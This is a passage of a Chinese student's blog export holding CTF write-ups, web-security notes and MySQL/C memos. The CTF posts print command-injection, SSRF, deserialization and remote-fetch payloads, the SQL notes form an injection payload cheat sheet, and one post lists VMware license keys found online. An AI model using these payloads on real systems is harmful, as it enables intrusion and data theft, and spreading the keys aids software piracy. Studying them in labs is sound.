#O:7:"KeyPort":2:{s:3:"key";N;s:6:"wakeup";R:2;}","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"红岩杯wp","slug":"红岩杯wp","date":"2023-11-11T15:43:39.000Z","updated":"2023-11-11T18:08:46.350Z","comments":true,"path":"posts/7e270cae.html","link":"","permalink":"http://example.com/posts/7e270cae.html","excerpt":"","text":"webez_php第一关get php弱类型相等,md5 0e弱类型相等,构建/?a1=s878926199a&a2=s155964671a 第二关构造cookie为114514 POST /index.php?a1=s878926199a&a2=s155964671a HTTP/2 Host: 19c8eb4d-c1e4-47e7-9c73-1dc5d1e62ca0.ctf.redrock.team Connection: keep-alive Content-Length: 0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="102" Cache-Control: no-cache Dnt: 1 Content-Type: application/x-www-form-urlencoded Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Accept: */* Origin: chrome-extension://coohjcphdfgbiolnekdpbcijmhambjff Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: b=114514 第三关找朋友借了服务器挂了一个txt内容为I wanna the last key文件已经删了就不复现了就挂个请求吧 POST https://356bbbc0-e31a-40c5-b865-9cd5afbe918b.ctf.redrock.team/?a1=s878926199a&a2=s155964671a HTTP/1.1 Host: 356bbbc0-e31a-40c5-b865-9cd5afbe918b.ctf.redrock.team Connection: keep-alive Content-Length: 50 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="102" Cache-Control: no-cache DNT: 1 Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: */* Origin: chrome-extension://coohjcphdfgbiolnekdpbcijmhambjff Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: b=114514 file=http%3A%2F%2Fxxx.xxx.xxx.xxx%3A8899%2Fphp.txt 诶我flag呢!根据提示可知考察临时文件请求/.index.php.swp再用010editor打开即可得到flag 可曾听闻ping?一看ping命令,多半没做过滤,直接;ls果然 再;ls -a / 发现flag 讨厌,还要我再想想直接;ca\\t /fl4\\g oceaner的网站一开始以为是登录admin+万能密码or 1=1 #结果是F12 点击就送flag(web版) 5秒50次,这人能办到?那我就写脚本吧,所以我打开了F12,又打开了js脚本在线运行网站 正经:一开始想抓包,结果发现是本地的就直接F12了 你是man吗?废话! <?php highlight_file(__FILE__); $url = $_POST["url"]; if(strpos($url, "file://")==0) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); echo $output; curl_close($ch); }else{ echo "nonono,no flag!"; } ?> <!--flag在根目录下的/flag文件中---> 这么想让我用file://协议,那我就用吧qwq easy sql做的最舒坦的一道题,都没有一点过滤判断含有注入 ` 开注! 1 union select 1,2 # # 获取database_name 1 union select database(),2 # #获取table_name 1 union select table_name,2 from information_schema.tables where table_schema=database(); # #获取字段 1 union select column_name,2 from information_schema.columns where table_name='flag' and table_schema=database() ; # #获取flag 1 union select flag,2 from flag;# 你是一个真正的man吗?废话!过滤file?我不会fi\\le:///fla\\g么?过! 看看你的作业这题没做出来,但是已经做了一半了,前一半考察反序列+魔术函数payload: <?php class Wode { public $name; } class Homework{ public $yes; } class System{ } $a = new Wode(); $b = new Homework(); $c = new System(); $b->yes = $c; $a->name = $b; print_r(serialize($a)); ?> 反序列O:4:"Wode":1:{s:4:"name";O:8:"Homework":1:{s:3:"yes";O:6:"System":0:{}}} 接着访问https://9ded9bea-5bcc-420f-8609-856eae161e18.ctf.redrock.team/WH47/Y0u/Kn0W/7H3/P0p/main.php nothing here! 我第一个不信,直接F12,果然 <!--什么是?5Y573M--> 添加参数后提示Warning: shell_exec(): Cannot execute a blank command in /var/www/html/WH47/Y0u/Kn0W/7H3/P0p/main.php on line 6 shell_exec()函数 构建cmd ls?5Y573M=ls发现目标wh4tY0U3V3nKn0WM3.php cat wh4tY0U3V3nKn0WM3.php 提示 too long ,一开始我以为是对返回值做限制了,结果是对shell命令长度做限制了,还是限制到4字符,网上查找没太看懂,希望学长能分享一下wp cryptoeasy_basebese64 easy_caesar凯撒密码,过 easy_morse easy_passwd密码?那多半md5加密 easy_rsa丢进factordb查询,发现有记录 q=611687078420145662043749 p=673850874916284786767077 加上网上找的脚本 import gmpy2 import binascii c = 238402953668524899208063558207075404357269541120 e = 65537 p = 611687078420145662043749 q = 673850874916284786767077 # 计算私钥 d phi = (p-1)*(q-1) d = gmpy2.invert(e, phi) # 解密 m m = gmpy2.powmod(c,d,p*q) print(binascii.unhexlify(hex(m)[2:])) misceasy_qrcode二维码,随便拼拼 easy_traffichttp contains "0xFA" 不好评价 easy_zip这题本来打算用hashcat解,结果随便输123456就对了,笑死 哪里难了?丢进010editor发现PK开头,看来是zip文件了 打开之后一堆文件,docx文件名当然是先看word文件夹,点开document.xml发现哪里难了字样,下拉发现base64base32 CheckIn灌注重邮小帮手喵~ 谢谢喵~ 问卷调查什么?你还没填问卷?愣着干啥,快去填啊! 后记挺有意思的一次ctf比赛,期间查了不少资料,看了不少例题,更是巩固到了前面自己学的东西,想起半夜查资料的自己,也想起面对陌生技术细细研读的自己。平常都没这么高强度抓包和改包,通过这次ctf比赛算是锻炼到了,奖品是其次,能学到东西更让人觉得有收获,期待下次的比赛~没做知识竞答没加到分,要不然也不会差点前20","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"第一次ctf比赛wp","slug":"第一次ctf比赛wp","date":"2023-11-07T14:17:55.000Z","updated":"2024-01-03T17:01:52.020Z","comments":true,"path":"posts/361e6105.html","link":"","permalink":"http://example.com/posts/361e6105.html","excerpt":"","text":"2023-dxs-web1网页标题提示信息收集,按右键发现被禁用,f12查看源代码发现javascript代码,抓包对HTTP报头分析,未发现flag信息,利用御剑工具对网站目录进行后台扫描,发现www.zip以及index.php等文件,解压www.zip发现f1oog.txt文件,在地址栏访问floog.txt得到flag值 2023-dxs-web2根据提示,访问/index.php.bak即可得到bak文件更改后缀之后打开添加<?php和?> <?php include "flag.php"; $_403 = "Access Denied"; $_200 = "Welcome Admin"; if ($_SERVER["REQUEST_METHOD"] != "POST") die("Mabey you need know bak file"); if ( !isset($_POST["flag"]) ) die($_403); foreach ($_GET as $key => $value) $$key = $$value; foreach ($_POST as $key => $value) $$key = $value; if ( $_POST["flag"] !== $flag ) die($_403); echo "This is your flag : ". $flag . "\\n"; die($_200); ?> 分析代码可知,存在变量覆盖漏洞,而又要输出flag,则让$_200=$flag 然后用变量覆盖问题传入flag=xxxxx,则满足了 $_POST[“flag”] !== $flag 而$_200的值是正确的flag POST /index.php?_200=flag&_403=flag HTTP/1.1 Host: 111.74.9.131:10017 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache ----WebKitFormBoundaryE19zNvXGzXaLvS5C Content-Disposition: form-data; name="flag" dsadasdsadaas ----WebKitFormBoundaryE19zNvXGzXaLvS5C 2023-dxs-misc2下载文件后发现是一张jpg用010editor打开之后发现拼接了rar,丢入kali 用binwalk -e 命令,分解rar,发现是一个加密文件,再看文件名是数字.字母拼接后是base64编码解码后即可得到答案","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"网安day1+web基础","slug":"网安day1-web基础","date":"2023-11-04T14:00:13.000Z","updated":"2023-11-06T12:11:59.851Z","comments":true,"path":"posts/1327a661.html","link":"","permalink":"http://example.com/posts/1327a661.html","excerpt":"","text":"常见的服务器系统Windows ServerLinux(centos、debian、ubuntu)mac server常见的个人主机系统:windows 7 windows 10Linux 只有 黑乎乎的命令行(不装图形化)WINDOWS 容易上手、对服务器性能要求很高 如何区分windows和linux通过路径区分在windows中,路径为 “\\” 而在linux下,路径为”/“ 通过系统占用区分一般而言,windows Server占用的资源会比linux多 相对路径与绝对路径相对路径:张老师在对面办公室绝对路径:江西省南昌市新建区第一中学明德楼三楼301(经纬度) 网站的访问为相对路径 windows 和 linux的绝对路径windows:C:\\Users\\Admin.android\\avd (有盘符)linux:/etc/init/ (不带盘符且为”/“) cmd 命令在开始,大多数计算机完全是通过在命令行输入命令来操作的在gui大量使用的今天,命令行依然被保留,对linux而言,可能使用命令比使用gui更常见在windows系统中可以通过win+r再输入cmd后回车进入下面介绍几个基础的命令 dir显示当前目录 cd跳转目录 IP地址互联网协议地址,缩写为IP地址,是分配给用户上网使用的网际协议的设备的数字标签 简单来说就是你家住址 ip地址的范围0.0.0.0~255.255.255.255 2^8=256因为是从0开始的所以0~255有256个数 子网掩码用于指示IP地址的哪些位标识主机所在的子网,哪些位标识为主机的位掩码,同一个ip段的主机可以直接访问,不同ip段的主机不能直接访问比如:192.168.1.1和192.168.2.1在255.255.255.0的子网掩码下,他们不能直接访问,而在255.255.0.0的子网掩码下他们能互相访问可以看知乎的回答, 内网地址简单来说就是你一栋高楼里面你的门牌号,只有和你一栋楼(即一个内网)的人才能通过门牌号敲你家的门 域名人们发现ip地址没有实际意义所以非常难记,所以搞了一个域名,类似于经纬度和详细地址的关系,经纬度也能确定你家位置,但是没人用就是因为难用,难记 而是通过详细地址来找路(域名) DNS类似与一个大的记事本,记录着ip地址和域名对应的关系,你每次通过域名找ip得在这个大记事本里面找 端口类似于你家有很多间房间,每个房间有各种各样的功能,如游乐房,睡房,你可以在你家门上编号(端口号)来访问每个门当你去一个人家(访问一个域名/ip)如果不指名默认是其80房间或443房间(80端口号或443端口号) HTTP 协议什么是协议顾名思义,就是一种约定 HTTP 协议用于从WEB服务器传输超文本标记语言(HTML)到本地浏览器的传送协议 Web 容器顾名思义,就像杯子一样,让倒水的人(开发者)不用担心用什么装水,不用思考怎么创造一个在外部环境(操作系统等)的杯子也不用在意外界环境是下雨还是刮风带来的影响 常见的Web容器","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"vmware虚拟机从安装到卸载","slug":"vmware虚拟机从安装到卸载","date":"2023-11-03T11:37:40.000Z","updated":"2023-11-05T03:09:56.459Z","comments":true,"path":"posts/ce002309.html","link":"","permalink":"http://example.com/posts/ce002309.html","excerpt":"","text":"VMware 的下载官网下载 或者网安网盘自取 key激活码可以去网上直接搜索这里提供几个搜出来的激活码 MC60H-DWHD5-H80U9-6V85M-8280D NZ4RR-FTK5H-H81C1-Q30QH-1V2LA 4A4RR-813DK-M81A9-4U35H-06KND NZ4RR-FTK5H-H81C1-Q30QH-1V2LA JU090-6039P-08409-8J0QH-2YR7F 4Y09U-AJK97-089Z0-A3054-83KLA 4C21U-2KK9Q-M8130-4V2QH-CF810 LAMP 安装wget -c http://soft.vpser.net/lnmp/lnmp1.4.tar.gz && tar zxf lnmp1.4.tar.gz && cd lnmp1.4 && ./install.sh lamp 更换下载源 soft1.vpser.net 如果没有安装wget yum install wget 更新yum源备份 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo_bak 获取配置文件 wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo 更新cache yum makecache 查看 yum -y update 查看IPifconfig","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"sql注入笔记","slug":"sql注入笔记","date":"2023-11-01T13:50:43.000Z","updated":"2024-09-10T10:25:06.588Z","comments":true,"path":"posts/56dc4975.html","link":"","permalink":"http://example.com/posts/56dc4975.html","excerpt":"","text":"sqlmap sqlmap.py -u URL --forms sqlmap.py -u URL --forms --dbs sqlmap.py -u URL --forms --current-db sqlmap.py -u URL --forms -D 数据库名称--tables sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump 常见注入手段 获取tables+databases+version获取databases+version使用database()函数和version() 函数 获取 tablesselect table_name from information_schema.tables where table_schema=database(); 获取字段select column_name from information_schema.columns where table_name='xxx' and table_schema=database(); select 被 limit 造成的无回显选择不存在的value; 用 limit 0,1 使用group_concat() select group_concat(xxxx) from xxx concat和group_concat都是用在sql语句中做拼接使用的,但是两者使用的方式不尽相同,concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号 手注如何判断sql注入' 判断有没有对字符处理 and 1=1 判断 时间盲注判断 1'+AND+(SELECT*FROM+(SELECT+SLEEP(5))a)+AND+'1'='1' 其中a为SELECT+SLEEP(5)的别名 盲注常用函数sleep(n) =— 返回0 命令中断返回1 substr(a,b,c) count() — 计算总数 ascii() — 返回字符的ascii码 length() — 返回字符串的长度 基于bool的盲注a' or 1=1 substr 盲注情况下用 substr (变种mid())获取数据 select substr(database(),2,1) = 'q' and sleep(2) 获取table_name and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101 --+ 获取长度 and length((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))>1 --+ 变种mid()用法和 substr 相同 left()select left('awaawawa',3) #return awa ascii用 ascii() (变种ord) 转换为ascii码 select ascii(substr(database(),2,1)) = 33 and sleep(2); 变种ord通过length()获取字符串长度获取database长度 length(database()) = 1 and sleep(1); rand() 随机数(伪select rand() from user; rand(int) #只要int值相等,最后的随机数也相等 floor(x) 返回一个小于x的整数select floor(1.1)/*1*/,floor(0.99)/*0*/,floor(2.1)/*2*/ 报错盲注updatexml: updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+ 被截断 updatexml(1,(mid(concat(0x7e,(select flag from flag limit 0,1),0x7e),0,31)),3) --+ extractvalue 'admin '^extractvalue(1,concat(0x5c,(select(database()))))%23 extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x5c))%23 extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(((table_schema)like(database()))and((table_name)like('H4rDsq1')))),0x5c))%23 ^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1)),0x5c))%23 被截断 extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),32),0x5c))%23 extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),20),0x5c))%23 堆叠注入考察堆叠注入 ';show tables--+ 得到表名 ';show columns from `1919810931114514`--+ 得到flag字段 最后 1'; handler `1919810931114514` open as `a`; handler `a` read next;# handler mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。 1 ';handler (数据表) open ;handler (数据表) read first;handler (数据表) close; % 23 rename: 修改一个或多个表的名称 RENAME TABLE old_table_name TO new_table_name; alert: 向表中添加字段 Alter table [表名] add [列名] 类型 保留old和new列名 列名:a ---->b 列类型 ALTER TABLE t1 CHANGE a b INTEGER; 由于这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表(1919810931114514)改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段 1 %27;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);# Quine注入参考 主要利用 replace 这个函数 replace(str,old_string,new_string) REPLACE("间隔符",编码的间隔符,"间隔符") playload 模板第一步: REPLACE(REPLACE('间隔符',CHAR(34),CHAR(39)),编码的间隔符,'间隔符') 第二步: REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str') str=第一步 eg: '/**/union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r# Quine注入说白了就是套娃,导致输入和输出一模一样 神奇字符串绕过 SELECT * FROM admin WHERE username = ‘admin’ and password = ‘“.md5($password,true).”‘中使用 ffifdyop经过md5加密后:276f722736c95d99e921722cf9ed621c再转换为字符串:’or’6<乱码> 即 'or'66�]��!r,��b 用途: select * from admin where password=’’or’6<乱码>’ 就相当于select * from admin where password=’’or 1 实现sql注入 不光有ffifdyop 还有 129581926211651571912466741651878684928 也可达同样的效果 总之,相当于 select * from admin where password=''or ture","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"web","slug":"web","permalink":"http://example.com/tags/web/"}],"author":"秋雨样"},{"title":"mysql笔记+常用指令","slug":"mysql笔记-常用指令","date":"2023-10-19T06:43:14.000Z","updated":"2023-10-21T03:09:42.811Z","comments":true,"path":"posts/1b45149e.html","link":"","permalink":"http://example.com/posts/1b45149e.html","excerpt":"","text":"引言写写学习笔记,绝大多数的内容都可以在这篇教程中看到,这里只补充可能会经常翻阅的内容~ 常用指令可能会经常翻,所以放前面来了~ mysql –u用户名 [–h主机名或者IP地址,-P端口号] –p密码 #该命令是在命令行窗口下执行,而不是MySQL的命令行 mysqladmin -uroot -p password #修改密码 USE test;#选择数据库 CREATE DATABASE test;#创建一个已知不存在的数据库 为了不产生错误,在创建数据库的时候可以加上一些简单的逻辑判断,判断数据库是否存在,不存在也不产生错误。会产生一个警告 CREATE DATABASE if not exists test; 使用普通用户登陆 MySQL 服务器,你可能需要特定的权限来创建或者删除 MySQL 数据库。所以我们这边使用root用户登录,root用户拥有最高权限,可以使用 mysql mysqladmin 命令来创建数据库。 mysqladmin -uroot -p create test 删除数据库删除一个已经确定存在的数据库DROP DATABASE test2; 删除一个不确定存在的数据库drop database if exists test2; 管理工具删除mysqladmin -uroot -p drop test 查看存储引擎SHOW VARIABLES LIKE '%storage_engine%'; 创建table-- 如果数据库中存在user_accounts表,就把它从数据库中drop掉 DROP TABLE IF EXISTS `user_accounts`; CREATE TABLE `user_accounts` ( `id` int(100) unsigned NOT NULL AUTO_INCREMENT primary key, `password` varchar(32) NOT NULL DEFAULT '' COMMENT '用户密码', `reset_password` tinyint(32) NOT NULL DEFAULT 0 COMMENT '用户类型:0-不需要重置密码;1-需要重置密码', `mobile` varchar(20) NOT NULL DEFAULT '' COMMENT '手机', `create_at` timestamp(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6), `update_at` timestamp(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6) ON UPDATE CURRENT_TIMESTAMP(6), -- 创建唯一索引,不允许重复 UNIQUE INDEX idx_user_mobile(`mobile`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='用户表信息'; 需要注意的是,在我用的版本5.5.xx中,current_timestamp在一个表中是不能有第二的,这个大坑让我排了很久….. 数据类型的属性解释 NULL:数据列可包含NULL值;NOT NULL:数据列不允许包含NULL值;DEFAULT:默认值;PRIMARY KEY:主键;AUTO_INCREMENT:自动递增,适用于整数类型;UNSIGNED:是指数值类型只能为正数;CHARACTER SET name:指定一个字符集;COMMENT:对表或者字段说明; 增删改查SELECTSELECT 语法 语句用于从表中选取数据。也就是查看数据 SELECT 列名称1, 列名称2, ... FROM 表名称; SELECT * FROM 表名称; -- 从 Customers 表中选择 CustomerName 和 City 列: SELECT CustomerName, City FROM Customers; -- 从 Customers 表中选择所有列: SELECT * FROM Customers; -- 表 station 取个别名叫 s,表 station 中不包含 字段 id=13 或者 14 的,并且 id 不等于 4 的 查询出来,只显示 id SELECT s.id from station s WHERE id in (13,14) and id not in (4); -- 从表 users 选取 id=3 的数据,并只拉一条数据(据说能优化性能) SELECT * FROM users where id=3 limit 1 -- 结果集中会自动去重复数据 SELECT DISTINCT Company FROM Orders -- 表 Persons 字段 Id_P 等于 Orders 字段 Id_P 的值, -- 结果集显示 Persons表的 LastName、FirstName字段,Orders表的OrderNo字段 SELECT p.LastName, p.FirstName, o.OrderNo FROM Persons p, Orders o WHERE p.Id_P = o.Id_P -- gbk 和 utf8 中英文混合排序最简单的办法 -- ci是 case insensitive, 即 “大小写不敏感” SELECT tag, COUNT(tag) from news GROUP BY tag order by convert(tag using gbk) collate gbk_chinese_ci; SELECT tag, COUNT(tag) from news GROUP BY tag order by convert(tag using utf8) collate utf8_unicode_ci; UPDATEUpdate 语法 语句用于修改表中的数据。 UPDATE 表名称 SET 列名称1 = 值1, 列名称2 = 值2, ... WHERE 条件; -- update语句设置字段值为另一个结果取出来的字段 UPDATE user set name = (SELECT name from user1 WHERE user1 .id = 1 ) WHERE id = (SELECT id from user2 WHERE user2 .name='小苏'); -- 更新表 orders 中 id=1 的那一行数据更新它的 title 字段 UPDATE `orders` set title='这里是标题' WHERE id=1; INSERTINSERT 语法 用于向表格中插入新的行。 INSERT INTO 表名称 (列名称1, 列名称2, 列名称3, ...) VALUES (值1, 值2, 值3, ...); INSERT INTO 表名称 VALUES (值1, 值2, 值3, ...); -- 向表 Persons 插入一条字段 LastName = JSLite 字段 Address = shanghai INSERT INTO Persons (LastName, Address) VALUES ('JSLite', 'shanghai'); -- 向表 meeting 插入 字段 a=1 和字段 b=2 INSERT INTO meeting SET a=1,b=2; -- -- SQL实现将一个表的数据插入到另外一个表的代码 -- 如果只希望导入指定字段,可以用这种方法: -- INSERT INTO 目标表 (字段1, 字段2, ...) SELECT 字段1, 字段2, ... FROM 来源表; INSERT INTO orders (user_account_id, title) SELECT m.user_id, m.title FROM meeting m where m.id=1; -- 向表 charger 插入一条数据,已存在就对表 charger 更新 `type`,`update_at` 字段; INSERT INTO `charger` (`id`,`type`,`create_at`,`update_at`) VALUES (3,2,'2017-05-18 11:06:17','2017-05-18 11:06:17') ON DUPLICATE KEY UPDATE `id`=VALUES(`id`), `type`=VALUES(`type`), `update_at`=VALUES(`update_at`); DELETEDELETE 语法 语句用于删除表中的现有记录 DELETE FROM 表名称 WHERE 条件; ```— 在不删除table_name表的情况下删除所有的行,清空表。DELETE FROM table_name— 或者DELETE * FROM table_name— 删除 Person 表字段 LastName = ‘JSLite’DELETE FROM Person WHERE LastName = ‘JSLite’— 删除 表meeting id 为2和3的两条数据DELETE from meeting where id in (2,3); #### WHERE #### `WHERE` 语法 用于仅提取满足指定条件的记录 SELECT 列名称, 列名称, … FROM 表名称 WHERE 条件1; — 从表 Persons 中选出 Year 字段大于 1965 的数据SELECT FROM Persons WHERE Year>1965— 从 Customers 表中选择 Country = Mexico 的所有数据:SELECT FROM Customers WHERE Country=’Mexico’;— 从 Customers 表中选择 CustomerID = 1 的所有数据:SELECT * FROM Customers WHERE CustomerID=1; ### AND, OR 和 NOT ### 就和不同and or not 没啥区别 ### ORDER BY ### `ORDER BY` 语法 用于按升序或降序对结果集进行排序 默认按 `ASC` 升序对记录进行排序。要按降序对记录进行排序,请使用 `DESC` 关键字 [不会点这里](https://wangchujiang.com/mysql-tutorial/21-minutes-MySQL-basic-entry.html#order-by) ### GROUP BY ### 暂时没搞懂~ `GROUP BY` 语法 将具有相同值的行分组到汇总行中 SELECT 列名称(s)FROM 表名称WHERE 条件GROUP BY 列名称(s)ORDER BY 列名称(s); ### IN ### `IN 语法` 是多个 OR 条件的简写 ### UNION ### `UNION` 语法 操作符用于合并两个或多个 SELECT 语句的结果集 SELECT 列名称(s) FROM 表名称1UNIONSELECT 列名称(s) FROM 表名称2; ### BETWEEN ### 每错,就是between and SELECT 列名称(s) FROM 表名称 WHERE 列名称 BETWEEN 值1 AND 值2; ### AS ### `AS 语法` 用于为表或表中的列(字段)提供临时名称(别名)。 SELECT 列名称 AS 别名 FROM 表名称;SELECT 列名称(s) FROM 表名称 AS 别名; ### JOIN ### `JOIN` 子句用于根据两个或多个表之间的相关列组合来自两个或多个表的行 `JOIN`: 如果表中有至少一个匹配,则返回行 `INNER JOIN`:在表中存在至少一个匹配时,`INNER JOIN` 关键字返回行。 `LEFT JOIN`: 即使右表中没有匹配,也从左表返回所有的行 `RIGHT JOIN`: 即使左表中没有匹配,也从右表返回所有的行 `FULL JOIN`: 只要其中一个表中存在匹配,就返回行(MySQL 是不支持的,通过 `LEFT JOIN + UNION + RIGHT JOIN` 的方式 来实现) #### INNER JOIN #### SELECT 列名称(s)FROM 表1INNER JOIN 表2ON 表1.列名称 = 表2.列名称; #### LEFT JOIN #### `LEFT JOIN` 语法 返回左表 (表1) 中的所有记录,以及右表 (表2) 中的匹配记录 SELECT 列名称(s)FROM 表1LEFT JOIN 表2ON 表1.列名称 = 表2.列名称; #### RIGHT JOIN #### `RIGHT JOIN` 语法 返回右表 (表2) 中的所有记录,以及左表 (表1) 中的匹配记录 SELECT 列名称(s)FROM 表1RIGHT JOIN 表2ON 表1.列名称 = 表2.列名称; #### FULL OUTER JOIN #### `FULL OUTER JOIN` 语法 当左(表1)或右(表2)表记录中存在匹配时,关键字返回所有记录 ### SQL 函数 ### 感觉很少用到,不懂看[这个](https://wangchujiang.com/mysql-tutorial/21-minutes-MySQL-basic-entry.html#sql-%E5%87%BD%E6%95%B0) ## MyCli替代MySQL的mysql命令行工具 ## 根据我看的教程,非常对剑mycli,所以就准备将mysql命令行工具改为mysql ### 安装python3 ### centos7自带了python2,下面贴一个安装python3的指令 wget https://www.python.org/ftp/python/3.7.2/Python-3.7.2.tar.xztar -xvJf Python-3.7.2.tar.xzmkdir /usr/local/python3cd Python-3.7.2./configure —prefix=/usr/local/python3 —enable-optimizations —with-sslmake && make installln -s /usr/local/python3/bin/python3 /usr/local/bin/python3ln -s /usr/local/python3/bin/pip3 /usr/local/bin/pip3 ### 安装mycli ### 安装pip,然后用pip安装mycliyum install -y python-pip python-devel libffi-devel openssl-develpip3 install —upgrade pippip3 install —ignore-installed myclipip3 install pymysql 配置将安装好的mycli拷贝到 /bin/cp /usr/local/python3/bin/mycli /bin/ 启用myclimycli —version mycli -uroot -proot```","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"c语言备忘录","slug":"c语言备忘录","date":"2023-10-13T05:46:38.000Z","updated":"2023-12-10T11:58:38.418Z","comments":true,"path":"posts/514181d1.html","link":"","permalink":"http://example.com/posts/514181d1.html","excerpt":"","text":"前言在学习的过程中,我或多或少会遇到一些问题,当我解决后,希望留个方便的地方记录一下,方便以后查找,故写下此备忘录。 2023-10-13 c语言输出文件中的内容到终端使用fgets()函数可以达到目的 FILE *fp = fopen("scores.txt", "r"); if (fp == NULL) { printf("无法打开文件\\n"); return 1; } char buffer[1024]; while (fgets(buffer, 1024, fp)) { printf("%s", buffer); } fclose(fp); fgets()用法char* fgets(char* str, int STRLEN, File* fp); 第一个参数str是一个字符串指针,用于存放读取的内容。第二个参数STRLEN指定读取的长度,第三个参数是一个 FILE指针,指向要读取的文件。 fgets()读取 STRLEN - 1个字符之后,或者遇到换行符与文件结尾,就会停止读取,然后在已经读取的内容末尾添加一个空字符\\0,使之成为一个字符串。注意,fgets()会将换行符(\\n)存储进字符串。—form 网道 2023-10-13 二分法 #include<stdio.h> long long int a[200005]; void solve() { long long int n, x; scanf("%lld %lld", &n, &x); long long int i; for (i = 0; i < n; i++) scanf("%lld", &a[i]); long long int min = -1, max = 1e10, mid; long long int sum; while (max - min > 1)//二分法的判断不可以写成max - min > 0 { mid = (max + min) / 2; sum = 0; for (i = 0; i < n; i++) if (a[i] < mid) sum += mid - a[i]; if (sum <= x) min = mid; else max = mid; } printf("%lld\\n", min); return; } int main() { int t; scanf("%d", &t); for (; t > 0; t--) solve(); return 0; } 数组存中文问题写作业的时候经常会遇到数组存中文的情况wwww,将中文字符存入文件里面简直就是天坑,在我的编译环境里面。用utf-8存是死活存不进去,最后直接问ai告诉你得用utf-16le存,搞了一下午+一早上这才搞好,贴个例子 上面代码在vscode里还得用外置的终端打开….宽字符的处理是真的麻烦…. 天坑vscode打开格式是utf-8,而你打字输入的中文是gbk导致编码不一样,得改编码。。。参考这篇已经存在的文件全部使用gbk编码重新保存。settings.json文件添加以下内容,使文件全部变成gbk编码: { "files.encoding": "gbk" } launch.json中修改以下内容,使用外置控制台运行编译后程序: { "configurations": [ { ... "externalConsole": true, ... } ], "version": "2.0.0" } 内存的动态分配用字符指针存数据。 #include <stdio.h> #include <string.h> #include <stdlib.h> int main() { char *str; char maxChar; int hasInput = 0; size_t len = 0; size_t size = 10001; // 初始大小 str = (char *)malloc(size * sizeof(char)); if (!str) { printf("Memory allocation failed\\n"); return 1; } // 获取输入 while (1) { char c = getchar(); if (c == EOF || c == '\\n') { str[len] = '\\0'; break; } str[len++] = c; if (len == size - 1) { // 如果接近分配的大小,重新分配更多的内存 size *= 2; char *new_str = (char *)realloc(str, size * sizeof(char)); if (!new_str) { printf("Memory reallocation failed\\n"); free(str); return 1; } str = new_str; } } // 如果字符串是空的 if (len == 0) { printf("N/A\\n"); free(str); return 0; } // 初始化maxChar为字符串的第一个字符 maxChar = str[0]; // 